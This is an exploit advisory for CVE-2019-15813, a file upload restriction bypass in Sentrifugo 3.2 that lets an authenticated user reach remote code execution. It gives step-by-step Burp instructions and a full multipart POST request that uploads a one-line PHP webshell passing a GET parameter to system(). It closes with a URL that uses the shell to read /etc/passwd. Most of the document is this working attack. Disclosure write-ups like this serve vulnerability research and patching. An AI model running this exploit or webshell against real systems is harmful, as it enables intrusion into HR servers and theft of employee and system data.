Sentrifugo 3.2 File Upload Restriction Bypass

`# Exploit Title: Sentrifugo 3.2 - File Upload Restriction Bypass   
# Google Dork: N/A  
# Date: 8/29/2019  
# Exploit Author: creosote  
# Vendor Homepage: http://www.sentrifugo.com/  
# Version: 3.2  
# Tested on: Ubuntu 18.04  
# CVE : CVE-2019-15813  
  
Multiple File Upload Restriction Bypass vulnerabilities were found in Sentrifugo 3.2. This allows for an authenticated user to potentially obtain RCE via webshell.  
  
File upload bypass locations:  
  
/sentrifugo/index.php/mydetails/documents -- Self Service >> My Details >> Documents (any permissions needed)  
sentrifugo/index.php/policydocuments/add -- Organization >> Policy Documents (higher permissions needed)  
  
  
# POC  
  
1. Self Service >> My Details >> Documents >> add New Document (/sentrifugo/index.php/mydetails/documents)  
2. Turn Burp Intercept On  
3. Select webshell with valid extension - ex: shell.php.doc  
4. Alter request in the upload...  
Update 'filename' to desired extension. ex: shell.php  
Change content type to 'application/x-httpd-php'  
  
Example exploitation request:  
  
====================================================================================================  
  
POST /sentrifugo/index.php/employeedocs/uploadsave HTTP/1.1  
Host: 10.42.1.42  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://10.42.1.42/sentrifugo/index.php/mydetails/documents  
X-Requested-With: XMLHttpRequest  
Content-Length: 494  
Content-Type: multipart/form-data; boundary=---------------------------205946976257369239535727507  
Cookie: PHPSESSID=vr0ik0kof2lpg0jlc9gp566qb5  
Connection: close  
  
-----------------------------205946976257369239535727507  
Content-Disposition: form-data; name="myfile"; filename="shell.php"  
Content-Type: application/x-httpd-php  
  
<?php $cmd=$_GET['cmd']; system($cmd);?>  
  
-----------------------------205946976257369239535727507  
Content-Disposition: form-data; name=""  
  
undefined  
-----------------------------205946976257369239535727507  
Content-Disposition: form-data; name=""  
  
undefined  
-----------------------------205946976257369239535727507--  
  
====================================================================================================  
  
5. With intercept still on, Save the document and copy the 'file_new_names' parmeter from the new POST request.  
6. Append above saved parameter and visit your new webshell  
Ex: http://10.42.1.42/sentrifugo/public/uploads/employeedocs/1565996140_5_shell.php?cmd=cat /etc/passwd  
`